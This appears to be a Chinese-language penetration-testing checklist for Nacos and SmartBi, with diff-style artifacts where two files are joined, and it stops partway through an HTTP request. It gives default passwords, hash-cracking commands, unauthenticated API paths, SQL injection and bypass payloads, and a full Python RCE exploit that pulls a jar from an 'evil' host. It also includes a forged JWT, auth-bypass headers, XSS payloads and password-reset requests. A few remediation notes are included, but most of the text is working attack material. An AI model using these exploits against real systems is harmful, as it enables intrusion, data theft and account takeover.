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# Nacos 漏洞 Checklist
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## 一、前置知识
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### 0x01 Nacos 概述
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Nacos 是阿里巴巴推出来的一个新开源项目，是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集，可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
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## 二、默认口令/弱口令
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Nacos 默认帐户名密码：
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```
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nacos/nacos
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```
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数据库中的 bcrypt 加密存储示例：
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```shell
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# nacos
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$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu
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# Hello123
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$2a$10$rT.ZmZTjj55Xs65yR9ZDdexuLITXfCXkifQv4KpLm7yVLtiBmUHgG
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```
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弱口令爆破 with hashcat：
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```shell
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# nacos
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echo -n '$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu' > hashes.txt
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-----
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hashcat -m 3200 -a 0 -o result.txt hashes.txt ~/HackTools/Dict/YOUR_DICT.txt --force
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-----
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cat result.txt
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$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu:nacos
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# Hello123
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echo -n '$2a$10$rT.ZmZTjj55Xs65yR9ZDdexuLITXfCXkifQv4KpLm7yVLtiBmUHgG' > hashes.txt
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hashcat -m 3200 -a 0 -o result.txt hashes.txt ~/HackTools/Dict/YOUR_DICT.txt --force
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-----
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cat result.txt
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$2a$10$rT.ZmZTjj55Xs65yR9ZDdexuLITXfCXkifQv4KpLm7yVLtiBmUHgG:Hello123
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```
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弱口令爆破 with john the ripper：
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```shell
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john --wordlist=~/HackTools/Dict/YOUR_DICT.txt hashes.txt
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-----
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john --show hashes.txt
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?:Hello123
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```
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## 三、可能存在的未授权 API
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### 0x01 用户信息 API
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```
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/nacos/v1/auth/users?pageNo=1&pageSize=9
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```
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### 0x02 集群信息 API
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```
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/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
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```
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### 0x03 配置信息 API
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```
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/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username=
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# or
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/nacos/v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=<IF_YOU_KNOW_SOME_TENANT>&search=accurate&accessToken=&username=
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```
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这一接口在未授权的情况下可能会暴露 Spring、MySQL、Redis、Druid 等配置信息，若存在云环境、文件系统，还可能暴露 accessKey、secretKey 等。
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获取配置信息示例：
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获取 ak、sk 示例：
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如果返回为 403 Forbidden，可以尝试 CNVD-2023674205 漏洞绕过限制。
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## 四、 SQL 注入风险 CVE-2021-29442
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### 漏洞描述
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在使用 Derby 数据库作为内置数据源时，Nacos config server 中有未鉴权接口 `/nacos/v1/cs/ops/derby`，执行 SQL 语句可以查看敏感数据，可以执行任意的 SELECT 查询语句。如果使用外置数据库（如 MySQL），则该接口无法访问。
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漏洞点位于 nacos-config 的 com.alibaba.nacos.config.server.controller.ConfigOpsController。
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### 漏洞影响
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```
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Nacos 未鉴权且使用 Derby 数据库作为内置数据源
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```
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### 漏洞复现
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poc：
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```
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/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables
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# or
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/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st
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```
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一些查询语句：
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```
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select * from users
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select * from permissions
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select * from roles
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select * from tenant_info
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select * from tenant_capacity
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select * from group_capacity
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select * from config_tags_relation
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select * from app_configdata_relation_pubs
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select * from app_configdata_relation_subs
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select * from app_list
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select * from config_info_aggr
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select * from config_info_tag
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select * from config_info_beta
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select * from his_config_info
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select * from config_info
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```
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Bypass payload：
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```
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/nacos/v1/cs/ops/derby?sql=SELECT--/dssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssad&sql=/%0a*--/%25&q=dssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssaddssad%&sql=%0afrom--/&sql=/%0ausers
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```
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使用 Derby 数据库作为内置数据源，且目标系统未开启鉴权功能时，可调用该接口实现 RCE。[RCE payload](http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce):
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1. 创建一个 java 编译并打包成 jar，放置在对应站点下，如：
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```
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import java.io.IOException;
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public class testShell4 {
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public static void exec() throws IOException {
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Runtime.getRuntime().exec("cmd.exe /c calc");
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}
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}
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```
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2. sql 语句部分如下：
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```
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# 导入一个类到数据库中
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CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test.jar', 'APP.Sample4', 0)
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# 将这个类加入到derby.database.classpath，这个属性是动态的，不需要重启数据库
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CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')
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# 创建一个PROCEDURE，EXTERNAL NAME 后面的值可以调用类的static类型方法
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CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'
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# 调用PROCEDURE
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CALL SALES.TOTAL_REVENUES()
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```
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另一个 [Exploit](https://github.com/vulhub/vulhub/tree/master/nacos/CVE-2021-29442):
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```
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package test.poc;
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import java.io.BufferedReader;
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import java.io.IOException;
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import java.io.InputStream;
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import java.io.InputStreamReader;
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import java.io.PrintWriter;
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import java.io.StringWriter;
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public class Example {
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public static void main(String[] args) {
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String ret = exec("ipconfig");
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System.out.println(ret);
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}
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public static String exec(String cmd) {
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StringBuffer bf = new StringBuffer();
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try {
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String charset = "utf-8";
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String osName = System.getProperty("os.name");
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if (osName != null && osName.startsWith("Windows"))
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charset = "gbk";
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Process p = Runtime.getRuntime().exec(cmd);
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InputStream fis = p.getInputStream();
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InputStreamReader isr = new InputStreamReader(fis, charset);
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BufferedReader br = new BufferedReader(isr);
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String line = null;
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while ((line = br.readLine()) != null)
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bf.append(line);
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} catch (Exception e) {
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StringWriter writer = new StringWriter();
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PrintWriter printer = new PrintWriter(writer);
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e.printStackTrace(printer);
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try {
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writer.close();
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printer.close();
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} catch (IOException iOException) {}
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return "ERROR:" + writer.toString();
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}
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return bf.toString();
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}
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}
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```
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```
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import random
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import sys
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import requests
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from urllib.parse import urljoin
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import argparse
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def exploit(target, command, service):
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removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
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derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
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for i in range(0, sys.maxsize):
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id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
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post_sql = f"""CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
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CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
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CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
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"""
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get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp"
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files = {'file': post_sql}
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post_resp = requests.post(url=removal_url, files=files)
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post_json = post_resp.json()
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if post_json.get('message', None) is None and post_json.get('data', None) is not None:
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print(post_resp.text)
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get_resp = requests.get(url=derby_url, params={'sql': get_sql})
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print(get_resp.text)
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break
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def main():
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parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
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parser.add_argument('-t', '--target', required=True, help='Target URL')
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parser.add_argument('-c', '--command', required=True, help='Command to execute')
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parser.add_argument('-s', '--service', required=True, help='Service URL')
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args = parser.parse_args()
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exploit(args.target, args.command, args.service)
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if __name__ == '__main__':
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main()
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```
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```
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python poc.py -t http://your-ip:8848 -s http://evil/Nacos.jar -c "ps aux"
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```
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### 修复建议
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- [关于Nacos Derby数据库运维接口/nacos/v1/cs/ops/derby相关问题公告](https://nacos-group.github.io/blog/announcement-derby-ops-api/?source=news/)
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## 五、认证绕过/用户创建 CVE-2021-29441
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### 漏洞描述
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2020 年 12 月 29 日披露。在 Nacos 进行认证授权操作时，会判断请求的 User-Agent 是否为 ”Nacos-Server”，如果是的话则不进行任何认证。该配置为硬编码，通过该漏洞，攻击者可以获取到用户名密码等敏感信息，且可以进行任意操作，包括创建新用户并进行登录后操作。
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### 漏洞影响
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```
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Nacos <= 2.0.0-ALPHA.1
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```
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### 漏洞复现
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访问 `/nacos/v1/auth/users?pageNo=1&pageSize=9` ，查看状态码是否为 200，且内容中是否包含 `pageItems`。通过该路由可查询 IP 地址、Nacos 端口、Nacos 版本、raftPort 等信息：
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```
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http://your-ip:port/nacos/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
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```
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通过 `/nacos/v1/auth/users` 路由查询已有的用户列表及敏感信息：
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```
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http://your-ip:port/nacos/v1/auth/users?pageNo=1&pageSize=9
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```
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此处需要注意，大部分企业的 Nacos 的 URL 为 `/v1/auth/users` ，而不是默认的 `/nacos/v1/auth/users`，即：
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```
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/v1/core/cluster/nodes?withInstances=false&pageNo=1&pageSize=10&keyword=
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```
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```
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/v1/auth/users?pageNo=1&pageSize=9
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```
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尝试以 POST 方式创建新用户（whoami/whoami）：
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```
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POST /v1/auth/users HTTP/1.1
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username=whoami&password=whoami
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```
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查看刚才创建的新用户，使用添加的新用户（whoami/whoami）进行登录：
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||||||
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```
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GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
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```
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HTTP Request Headers：
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||||||
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||||||
```
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|
||||||
User-Agent: Nacos-Server
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||||||
```
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||||||
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||||||
### 修复建议
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||||||
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|
||||||
1. 修改 Nacos 的 application.properties 配置文件，开启服务身份识别功能，配置后访问 `/nacos/v1/auth/users/?pageNo=1&pageSize=9` 路由将返回 403 Forbidden。
|
|
||||||
|
|
||||||
```
|
|
||||||
# 开启鉴权
|
|
||||||
nacos.core.auth.enabled=true
|
|
||||||
nacos.core.auth.enable.userAgentAuthWhite=false
|
|
||||||
nacos.core.auth.server.identity.key=YOUR-KEY
|
|
||||||
nacos.core.auth.server.identity.value=YOUR-VALUE
|
|
||||||
```
|
|
||||||
|
|
||||||
2. Nacos 注册及配置中心开启权限认证，编辑项目中的 bootstrap.yml 或 bootstrap.properties，修改 discovery 和 config 开启用户密码认证（用户名和密码不能带有 %、$ 等会被转义的特殊字符）。
|
|
||||||
|
|
||||||
## 六、secret.key 默认密钥 CNVD-2023674205
|
|
||||||
|
|
||||||
### 漏洞描述
|
|
||||||
|
|
||||||
2023 年 3 月 2 日披露。Alibaba Nacos 使用了固定的 secret.key 默认密钥，导致攻击者可以构造请求获取敏感信息，导致未授权访问漏洞。
|
|
||||||
|
|
||||||
### 漏洞影响
|
|
||||||
|
|
||||||
```
|
|
||||||
Alibaba Nacos <= 2.2.0
|
|
||||||
```
|
|
||||||
|
|
||||||
### 漏洞复现
|
|
||||||
|
|
||||||
在配置文件 conf/application.properties 中，默认硬编码 nacos.core.auth.plugin.nacos.token.secret.key 的值。
|
|
||||||
|
|
||||||
```
|
|
||||||
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
|
|
||||||
```
|
|
||||||
|
|
||||||
Nacos 使用 jwt token，算法为 HS256，将 secret.key 的默认值当作 secretKey，生成 Signature。jwt token 的 Payload 为 subject（用户名）和 exp（有效期）。
|
|
||||||
|
|
||||||
我们伪造一个 jwt token，Payload：
|
|
||||||
|
|
||||||
```
|
|
||||||
{
|
|
||||||
"sub": "nacos",
|
|
||||||
"exp": 1696669333
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
伪造的 jwt token：
|
|
||||||
|
|
||||||
```
|
|
||||||
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTg4ODc3N30.bYEColBVGkF-H-kGr9PxWnbmZZp66z77NXUNHXZbbnw
|
|
||||||
```
|
|
||||||
|
|
||||||
进行验证，没有配置 jwt token 时，返回 403 Forbidden：
|
|
||||||
|
|
||||||
```
|
|
||||||
GET /v1/cs/configs?dataId=&group=&appName=&config_tags=&pageNo=1&pageSize=9&tenant=&search=accurate&accessToken=&username= HTTP/1.1
|
|
||||||
Host: your-ip
|
|
||||||
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5OTg4ODc3N30.bYEColBVGkF-H-kGr9PxWnbmZZp66z77NXUNHXZbbnw
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
修改 Authorization 头，配置 jwt token，返回 200 OK：
|
|
||||||
|
|
||||||
```
|
|
||||||
Authorization: Bearer <jwt token>
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### 漏洞修复
|
|
||||||
|
|
||||||
1. 修改生成 Token 的 secret.key，推荐自定义密钥时，将配置项设置为 Base64 编码的字符串，且原始密钥长度不得低于 32 字符。
|
|
||||||
|
|
||||||
```
|
|
||||||
#启用认证
|
|
||||||
nacos.core.auth.enabled=true
|
|
||||||
#生成 Token 的密钥
|
|
||||||
nacos.core.auth.plugin.nacos.token.secret.key=base64编码
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 升级到 2.2.0.1 及之后版本。Nacos 官方在 2023.03.02 发布了 2.2.0.1，下载地址：https://github.com/alibaba/nacos/releases/tag/2.2.0.1，最新版本：https://github.com/alibaba/nacos/releases。
|
|
||||||
|
|
||||||
## 七、identity.key/value 默认值认证绕过
|
|
||||||
|
|
||||||
### 漏洞描述
|
|
||||||
|
|
||||||
当开启 Nacos 权限认证（nacos.core.auth.enabled=true）后，配置文件中存在默认值：
|
|
||||||
|
|
||||||
```
|
|
||||||
nacos.core.auth.server.identity.key=serverIdentity
|
|
||||||
nacos.core.auth.server.identity.value=security
|
|
||||||
```
|
|
||||||
|
|
||||||
该硬编码导致攻击者可以构造携带该 key 和 value 的请求，从而绕过权限认证。
|
|
||||||
|
|
||||||
### 漏洞影响
|
|
||||||
|
|
||||||
```
|
|
||||||
Nacos <= 2.2.0
|
|
||||||
```
|
|
||||||
|
|
||||||
### 漏洞复现
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /v1/auth/users HTTP/1.1
|
|
||||||
serverIdentity: security
|
|
||||||
|
|
||||||
username=whoami&password=whoami
|
|
||||||
```
|
|
||||||
|
|
||||||
当开启 Nacos 权限认证（nacos.core.auth.enabled=true）后，必须填写 nacos.core.auth.server.identity.key 和 nacos.core.auth.server.identity.value 才能够正常启动。若 `serverIdentity: security` 无法绕过，可以尝试以下键值对：
|
|
||||||
|
|
||||||
```
|
|
||||||
官网示例中的键值对 example:example
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
搜索引擎解决方案中出现最多的键值对 test:test
|
|
||||||
```
|
|
||||||
|
|
||||||
### 漏洞修复
|
|
||||||
|
|
||||||
1. 配置自定义身份识别的 key（不可为空）和 value（不可为空）：
|
|
||||||
|
|
||||||
```
|
|
||||||
nacos.core.auth.server.identity.key=example
|
|
||||||
nacos.core.auth.server.identity.value=example
|
|
||||||
```
|
|
||||||
|
|
||||||
2. 升级最新版本：https://github.com/alibaba/nacos/releases。
|
|
||||||
|
|
||||||
## 八、Nacos 集群 Raft 反序列化漏洞
|
|
||||||
|
|
||||||
### 漏洞描述
|
|
||||||
|
|
||||||
Nacos 在处理某些基于 Jraft 的请求时，采用 Hessian 进行反序列化，但并未设置限制，导致应用存在远程代码执行（RCE）漏洞。
|
|
||||||
|
|
||||||
### 漏洞影响
|
|
||||||
|
|
||||||
```
|
|
||||||
1.4.0 <= Nacos < 1.4.6 使用cluster集群模式运行
|
|
||||||
2.0.0 <= Nacos < 2.2.3 任意模式启动
|
|
||||||
```
|
|
||||||
|
|
||||||
Nacos 1.x 在单机模式下默认不开放 7848 端口，故该情况通常不受此漏洞影响。Nacos 2.x 版本无论单机或集群模式均默认开放 7848 端口。
|
|
||||||
|
|
||||||
### 漏洞复现
|
|
||||||
|
|
||||||
exp：
|
|
||||||
|
|
||||||
- https://github.com/c0olw/NacosRce/
|
|
||||||
|
|
||||||
### 漏洞修复
|
|
||||||
|
|
||||||
#### 通用修补建议
|
|
||||||
|
|
||||||
目前官方已发布安全修复更新，受影响用户可以升级到 Nacos 1.4.6、Nacos 2.2.3：
|
|
||||||
|
|
||||||
- https://github.com/alibaba/nacos/releases/tag/1.4.6
|
|
||||||
- https://github.com/alibaba/nacos/releases/tag/2.2.3
|
|
||||||
|
|
||||||
#### 临时修补建议
|
|
||||||
|
|
||||||
对外限制开放 7848 端口，一般使用时该端口为 Nacos 集群间 Raft 协议的通信端口，不承载客户端请求，因此老版本可以通过禁止该端口来自 Nacos 集群外的请求达到止血目的（如部署时已进行限制或未暴露，则风险可控）。
|
|
||||||
@ -1,493 +0,0 @@
|
|||||||
# SmartBi 漏洞 Checklist
|
|
||||||
|
|
||||||
## 一、前置知识
|
|
||||||
|
|
||||||
### 0x01 SmartBi 概述
|
|
||||||
|
|
||||||
Smartbi 是企业级商业智能和大数据分析平台，满足用户在企业级报表、数据可视化分析、自助分析平台、数据挖掘建模、AI 智能分析等大数据分析需求。该软件应用范围较广，据官网介绍，在全球财富 500 强的 10 家国内银行，有 8 家选用了 Smartbi。
|
|
||||||
|
|
||||||
### 0x02 FOFA指纹
|
|
||||||
|
|
||||||
```
|
|
||||||
app="SMARTBI"
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x03 登录入口
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/mobileportal.jsp
|
|
||||||
https://127.0.0.1/vision/mobileX/login
|
|
||||||
https://127.0.0.1/vision/index.jsp
|
|
||||||
https://127.0.0.1/smartbi/vision/index.jsp
|
|
||||||
```
|
|
||||||
|
|
||||||
密码正确的情况下，部分平台无法登陆，此时设置user-agent为手机端就可以。
|
|
||||||
|
|
||||||
### 0x04 常见口令
|
|
||||||
|
|
||||||
```
|
|
||||||
demo/demo
|
|
||||||
manager/demo
|
|
||||||
admin/admin
|
|
||||||
admin/manager
|
|
||||||
admin/2manager
|
|
||||||
```
|
|
||||||
|
|
||||||
## 二、认证漏洞
|
|
||||||
|
|
||||||
### 0x01 登录爆破
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /vision/RMIServlet HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; PRA-LX3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Mobile Safari/537.36
|
|
||||||
Accept: */*
|
|
||||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Referer: https://127.0.0.1/vision/mobileX/login
|
|
||||||
content-type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 70
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
Connection: close
|
|
||||||
Cookie: JSESSIONID=1DA1DAA51469E646F97AD829F29A2B15
|
|
||||||
|
|
||||||
className=UserService&methodName=login¶ms=["admin","admin"]
|
|
||||||
```
|
|
||||||
|
|
||||||
抓取 true/false 字段。
|
|
||||||
|
|
||||||
### 0x02 401认证弱口令
|
|
||||||
|
|
||||||
/vision 目录下的文件都需要 401 认证：
|
|
||||||
|
|
||||||
```
|
|
||||||
admin/admin
|
|
||||||
admin/manager
|
|
||||||
admin/2manager
|
|
||||||
mining/admin
|
|
||||||
demo/demo
|
|
||||||
manager/demo
|
|
||||||
manager/admin
|
|
||||||
user/admin
|
|
||||||
test/admin
|
|
||||||
huanan/admin
|
|
||||||
```
|
|
||||||
|
|
||||||
不论用户名输什么，只要密码正确即可。
|
|
||||||
|
|
||||||
## 三、信息泄露
|
|
||||||
|
|
||||||
### 0x01 敏感信息
|
|
||||||
|
|
||||||
#### 查看版本
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/version.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/packageinfo.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 目录遍历
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/chooser.jsp?key=CONFIG_FILE_DIR&root=%2F
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 信息泄露
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/monitor/sysprops.jsp
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/monitor/getclassurl.jsp?classname=smartbi.freequery.expression.ast.TextNode
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/monitor/hardwareinfo.jsp
|
|
||||||
```
|
|
||||||
|
|
||||||
#### 接口泄露
|
|
||||||
|
|
||||||
直接访问 wsdl 无需 401：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/listwsdl.jsp
|
|
||||||
```
|
|
||||||
|
|
||||||
提供资源目录树的访问功能：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/services/CatalogService?wsdl
|
|
||||||
```
|
|
||||||
|
|
||||||
SimpleReportService 提供灵活报表相关操作功能：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/services/SimpleReportService?wsdl
|
|
||||||
```
|
|
||||||
|
|
||||||
BusinessViewService 提供数据集定义相关操作功能：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/services/BusinessViewService?wsdl
|
|
||||||
```
|
|
||||||
|
|
||||||
DataSourceService 提供数据源相关操作功能：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/services/DataSourceService?wsdl
|
|
||||||
```
|
|
||||||
|
|
||||||
AnalysisReportService 提供多维分析相关操作功能：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/services/AnalysisReportService?wsdl
|
|
||||||
```
|
|
||||||
|
|
||||||
UserManagerService 提供用户相关操作，包括读取/维护用户信息、读取/维护组信息、读取/维护角色信息、为用户和组分配角色等：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/services/UserManagerService?wsdl
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x02 Session劫持
|
|
||||||
|
|
||||||
可重置用户密码，且无需原密码。
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/monitor/listsessions.jsp
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
理论上重置成功，返回为 true，但是实际测试过程中修改后的密码既不是改之前的密码，也不是修改后的密码，过一段时间自动重置为原来的密码。
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /vision/RMIServlet HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
|
|
||||||
Accept: */*
|
|
||||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Referer: https://127.0.0.1/vision/index.jsp
|
|
||||||
If-Modified-Since: 0
|
|
||||||
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
|
|
||||||
Content-Length: 148
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
Connection: close
|
|
||||||
Cookie: JSESSIONID=848B4743452D02C5A53FECCA58C47299
|
|
||||||
|
|
||||||
className=UserService&methodName=updateUserForChange¶ms=["I8a94ca4e0175ab4aab4aaae90175d3e824c66a87","zhongguo1","null","QWEqwe123",true]
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /vision/RMIServlet HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
|
|
||||||
Accept: */*
|
|
||||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Referer: https://127.0.0.1/vision/index.jsp
|
|
||||||
If-Modified-Since: 0
|
|
||||||
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
|
|
||||||
Content-Length: 133
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
Connection: close
|
|
||||||
Cookie: JSESSIONID=848B4743452D02C5A53FECCA58C47299
|
|
||||||
|
|
||||||
className=UserService&methodName=addUserAttribute¶ms=["I8a94ca4e0175ab4aab4aaae90175d3e824c66a87","SYSTEM_user_isEdit","0",null]
|
|
||||||
```
|
|
||||||
|
|
||||||
其中I8a94ca4e0175ab4aab4aaae90175d3e824c66a87为用户的id字段，唯一身份标识。
|
|
||||||
|
|
||||||
### 0x03 Heapdump泄露
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/monitor/heapdump.jsp
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/monitor/heapdump.jsp?dumpbin=true
|
|
||||||
```
|
|
||||||
|
|
||||||
### 0x04 反射型/存储型XSS
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/chooser.jsp?key=%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E&root=/u01/data/domains/app_domain
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/monitor/testmailserver.jsp?host=mail.longtop.com&user=111%22%3E%3Cimg%20src=x%20onerror=prompt(0)%3E&pass=123456
|
|
||||||
```
|
|
||||||
|
|
||||||
登录后个人参数位置，加密后传参可导致存储型 xss。
|
|
||||||
|
|
||||||
### 0x05 SSRF
|
|
||||||
|
|
||||||
探测出口ip：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/monitor/testmailserver.jsp
|
|
||||||
```
|
|
||||||
|
|
||||||
## 四、SQL注入
|
|
||||||
|
|
||||||
需要登录，任意报表功能，例如：
|
|
||||||
|
|
||||||
```
|
|
||||||
https://127.0.0.1/vision/ssreportServlet
|
|
||||||
```
|
|
||||||
|
|
||||||
```
|
|
||||||
POST /vision/ssreportServlet HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
||||||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Referer: https://127.0.0.1/vision/openresource.jsp?iPad=true&refresh=true&showtoolbar=false&showPath=false&resid=I40281d81016a8bc28bc20231016aaee007b230ac&_timestamp=1610433924926
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
Content-Length: 3293
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
Connection: close
|
|
||||||
Cookie: FQPassword=; JSESSIONID=4BB550BF10C606619B753D3CE52CD3AB
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
|
|
||||||
